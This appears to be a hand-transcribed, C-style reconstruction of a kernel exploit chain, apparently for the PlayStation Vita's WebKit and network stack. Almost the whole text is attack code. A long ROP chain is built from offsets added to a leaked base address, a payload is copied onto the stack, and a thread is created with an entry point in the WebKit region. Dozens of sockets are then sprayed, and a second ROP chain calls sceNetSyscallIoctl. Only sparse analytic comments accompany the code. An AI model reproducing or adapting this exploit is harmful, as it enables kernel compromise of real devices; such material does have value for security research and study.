*(unsigned int *)(stack_var_E0DC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x67;
*(unsigned int *)(stack_var_E0E0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x587F;
*(unsigned int *)(stack_var_E0E4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x19713;
*(unsigned int *)(stack_var_E0E8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1605;
*(unsigned int *)(stack_var_E0EC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1E1D;
*(unsigned int *)(stack_var_E0F0) = 0x0; // ?
*(unsigned int *)(stack_var_E0F4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1EFE1;
*(unsigned int *)(stack_var_E0F8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_E0FC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1603;
*(unsigned int *)(stack_var_EA00) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1F2B1;
*(unsigned int *)(stack_var_EA04) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1F17;
*(unsigned int *)(stack_var_EA08) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EA0C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x31;
*(unsigned int *)(stack_var_EA10) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xB913;
*(unsigned int *)(stack_var_EA14) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x23B61;
*(unsigned int *)(stack_var_EA18) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EA1C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_EA20) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x232EB;
*(unsigned int *)(stack_var_EA24) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EA28) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1B571;
*(unsigned int *)(stack_var_EA2C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x23B61;
*(unsigned int *)(stack_var_EA30) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x232F1;
*(unsigned int *)(stack_var_EA34) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1411;
*(unsigned int *)(stack_var_EA38) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xAE1;
*(unsigned int *)(stack_var_EA3C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EA40) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x50E9;
*(unsigned int *)(stack_var_EA44) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1411;
*(unsigned int *)(stack_var_EA48) = 0x10; // 0x90
*(unsigned int *)(stack_var_EA4C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1F2B1;
*(unsigned int *)(stack_var_EA50) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x12B11;
*(unsigned int *)(stack_var_EA54) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xCE3;
*(unsigned int *)(stack_var_EA58) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xD1;
*(unsigned int *)(stack_var_EA5C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EA60) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1F2B1;
*(unsigned int *)(stack_var_EA64) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EA68) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_EA6C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1FDC5;
*(unsigned int *)(stack_var_EA70) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1D8DB;
*(unsigned int *)(stack_var_EA74) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x19399;
*(unsigned int *)(stack_var_EA78) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x19399;
*(unsigned int *)(stack_var_EA7C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x11C5F;
*(unsigned int *)(stack_var_EA80) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x19399;
*(unsigned int *)(stack_var_EA84) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EA88) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xB913;
*(unsigned int *)(stack_var_EA8C) = 0x0; // ?
*(unsigned int *)(stack_var_EA90) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1EFE1;
*(unsigned int *)(stack_var_EA94) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EA98) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1861;
*(unsigned int *)(stack_var_EA9C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1FC6D;
*(unsigned int *)(stack_var_EAA9) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1F2B1;
*(unsigned int *)(stack_var_EAA4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EAA8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_EAAC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x19399;
*(unsigned int *)(stack_var_EAB0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EAB4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x19399;
*(unsigned int *)(stack_var_EAB8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EABC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_EAC0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1614D;
*(unsigned int *)(stack_var_EAC4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x233D3;
*(unsigned int *)(stack_var_EACC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EAD0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xAF;
*(unsigned int *)(stack_var_EAD4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1605;
*(unsigned int *)(stack_var_EAD8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1EFE1;
*(unsigned int *)(stack_var_EADC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EAE0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x50E9;
*(unsigned int *)(stack_var_EAE4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_EAE8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1347;
*(unsigned int *)(stack_var_EAEC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EAF0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xB9;
*(unsigned int *)(stack_var_EAF4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1F2B1;
*(unsigned int *)(stack_var_EAF8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1347;
*(unsigned int *)(stack_var_EAFC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EB00) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39B;
*(unsigned int *)(stack_var_EB04) = 0x0; // ?
*(unsigned int *)(stack_var_EB08) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1CB95;
*(unsigned int *)(stack_var_EB0C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1EA93;
*(unsigned int *)(stack_var_EB10) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1411;
*(unsigned int *)(stack_var_EB14) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EB18) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x209D7;
*(unsigned int *)(stack_var_EB1C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x209D3;
*(unsigned int *)(stack_var_EB20) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1411;
*(unsigned int *)(stack_var_EB24) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EB28) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1BAF5;
*(unsigned int *)(stack_var_EB2C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1605;
*(unsigned int *)(stack_var_EB30) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EB34) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x652B;
*(unsigned int *)(stack_var_EB38) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EB3C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1BAF5;
*(unsigned int *)(stack_var_EB40) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x22A49;
*(unsigned int *)(stack_var_EB44) = 0xFFFFFEB0; // ?
*(unsigned int *)(stack_var_EB48) = 0x40; // ?
*(unsigned int *)(stack_var_EB4C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39B;
*(unsigned int *)(stack_var_EB50) = 0x22A49; // ?
*(unsigned int *)(stack_var_EB54) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EB58) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x652B;
*(unsigned int *)(stack_var_EB5C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EB60) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39B;
*(unsigned int *)(stack_var_EB64) = 0x40;
*(unsigned int *)(stack_var_EB68) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1605;
*(unsigned int *)(stack_var_EB6C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EB70) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1D9EB;
*(unsigned int *)(stack_var_EB74) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_EB78) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x853;
*(unsigned int *)(stack_var_EB7C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1D8DB;
*(unsigned int *)(stack_var_EB80) = 0x38;
*(unsigned int *)(stack_var_EB84) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xAB;
*(unsigned int *)(stack_var_EB88) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xD1;
*(unsigned int *)(stack_var_EB8C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x2328B;
*(unsigned int *)(stack_var_EB90) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x22FCD;
*(unsigned int *)(stack_var_EB94) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xD1;
*(unsigned int *)(stack_var_EB98) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1EFF1;
*(unsigned int *)(stack_var_EB9C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x2A117;
*(unsigned int *)(stack_var_EBA0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EBA4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1605;
*(unsigned int *)(stack_var_EBA8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x19399;
*(unsigned int *)(stack_var_EBAC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EBB0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_EBB4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1BF1F;
*(unsigned int *)(stack_var_EBB8) = 0xFFFFFEB0;
*(unsigned int *)(stack_var_EBBC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39B;
*(unsigned int *)(stack_var_EBC0) = 0x40; // 240
*(unsigned int *)(stack_var_EBC4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x22A49;
*(unsigned int *)(stack_var_EBC8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_EBCC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x3D73;
*(unsigned int *)(stack_var_EBD0) = 0x0;
*(unsigned int *)(stack_var_EBD4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x21FD;
*(unsigned int *)(stack_var_EBD8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EBDC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x50E9;
*(unsigned int *)(stack_var_EBE0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xAE1;
*(unsigned int *)(stack_var_EBE4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EBE8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x2A117;
*(unsigned int *)(stack_var_EBEC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EBF0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1F2B1;
*(unsigned int *)(stack_var_EBF4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x67;
*(unsigned int *)(stack_var_EBF8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_EBFC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1BF47;
*(unsigned int *)(stack_var_EC00) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EC04) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x50E9;
*(unsigned int *)(stack_var_EC08) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xAF33;
*(unsigned int *)(stack_var_EC0C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EC10) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1D9EB;
*(unsigned int *)(stack_var_EC14) = 0x0;
*(unsigned int *)(stack_var_EC18) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1FC6D;
*(unsigned int *)(stack_var_EC1C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xEA73;
*(unsigned int *)(stack_var_EC20) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39B;
*(unsigned int *)(stack_var_EC24) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x853;
*(unsigned int *)(stack_var_EC28) = 0xFFFFFFFF;
*(unsigned int *)(stack_var_EC2C) = 0x8106803;
*(unsigned int *)(stack_var_EC30) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x233D3;
*(unsigned int *)(stack_var_EC34) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EC38) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x433;
*(unsigned int *)(stack_var_EC3C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x233D3;
*(unsigned int *)(stack_var_EC40) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x150A3;
*(unsigned int *)(stack_var_EC44) = 0x0; //
*(unsigned int *)(stack_var_EC48) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xA74D;
*(unsigned int *)(stack_var_EC4C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x0;
*(unsigned int *)(stack_var_EC50) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x853;
*(unsigned int *)(stack_var_EC54) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1BF1F;
*(unsigned int *)(stack_var_EC58) = 0x0; // 0x200
*(unsigned int *)(stack_var_EC5C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1605;
*(unsigned int *)(stack_var_EC60) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_EC64) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x50E9;
*(unsigned int *)(stack_var_EC68) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1605;
*(unsigned int *)(stack_var_EC6C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x22FCD;
*(unsigned int *)(stack_var_EC70) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_EC74) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x853;
*(unsigned int *)(stack_var_EC78) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x11C5F;

*(unsigned int *)(stack_var_EB04) = stack_var_EDB8;
*(unsigned int *)(stack_var_EA48) = 0x90;
*(unsigned int *)(stack_var_EBC0) = 0x240;
*(unsigned int *)(stack_var_EC58) = 0x200;
*(unsigned int *)(stack_var_EC14) = stack_var_EECC;

// copy the new ROP-chain (probably the rop chain used in kernel)
// to D348
libc_memcpy(stack_var_D348, stack_var_E98C, 0x300);
// copy 400 bytes from the "code" to stack_D644
// to teh end of rop-chain
libc_memcpy(stack_var_D644, stack_var_EDC4, 0x400);

*(unsigned int*)(stack_var_E758) = *(unsigned int*)(stack_leaked_addr_base_E364) + 0x6DC;
*(unsigned int*)(stack_var_E74C) = *(unsigned int*)(stack_leaked_addr_base_E364) + 0x6F8;
*(unsigned int*)(stack_var_E750) = *(unsigned int*)(stack_leaked_addr_base_E364) + 0x347;

// create a thread, note that the entry-point is an address in SceWebKit region
thread_id_stack_E520 = lib_kernel_createThread("mhm", 0x83A05C48, 0x10000100, 0x00002000)

*(unsigned int*)(stack_var_E52C) = 0x7c;

// get thread information
lib_kernel_threadinfo(thread_id_stack_E520, stack_threadinfo_E52C, NULL);

// setup new stack ptr to rop
*(unsigned int *)(stack_thread_sp_E5FC) = *(unsigned int *)(stack_threadinfo_sp_E560) + 0x1000;

// x = stack_var_16374
// E370 = socketFD
// a list of sceNetSyscallSocket
stack_var_E370 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E374 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E378 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E37C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E380 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E384 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E388 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E38C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E390 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E394 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E398 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E39C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3A0 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3A4 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3A8 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3AC = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3B0 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3B4 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3B8 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3BC = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3C0 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3C4 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3C8 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3CC = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3DD = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3D4 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3D8 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3DC = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3E0 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3E4 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3E8 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3EC = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3F0 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3F4 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3F8 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E3F0 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E400 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E404 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E408 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E40C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E410 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E414 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E418 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E41C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E420 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E424 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E428 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E42C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E430 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E434 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E438 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E43C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E440 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E444 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E448 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E44C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E450 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E454 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E458 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E45C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E460 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E464 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E468 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E46C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E470 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E474 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E478 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E47C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E480 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E484 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E488 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E48C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E490 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E494 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E498 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E49C = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E4A0 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E4A4 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E4A8 = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E4AC = lib_net_sceNetSyscallSocket("x", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_var_E4B8 = lib_net_sceNetSyscallSocket("sss", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);
stack_socket_fd_E4C4 = lib_net_sceNetSyscallSocket("tst", SCE_NET_AF_INET, 0x7, 0x0);

// thread 1 "pln" rop-chain
*(unsigned int *)(stack_var_E608) = 0x842DE135; // POP {R0-R5,PC}
*(unsigned int *)(stack_var_E60C) = stack_var_E4C4; // R0 E4C4 = socket file descriptor
*(unsigned int *)(stack_var_E610) = 0x10007300; // R1 CMD
*(unsigned int *)(stack_var_E614) = 0x0; // R2
*(unsigned int *)(stack_var_E618) = 0x0; // R3
*(unsigned int *)(stack_var_E61C) = 0xE052D660; // R4 sceNetSyscallIoctl_imp
*(unsigned int *)(stack_var_E620) = 0x0; // R5
*(unsigned int *)(stack_var_E624) = 0x83AFD53B;
*(unsigned int *)(stack_var_E628) = 0x5000E710;
// sceNetSyscalIoctl

*(unsigned int *)(stack_var_E62C) = 0x83A06129;
*(unsigned int *)(stack_var_E630) = 0x0;
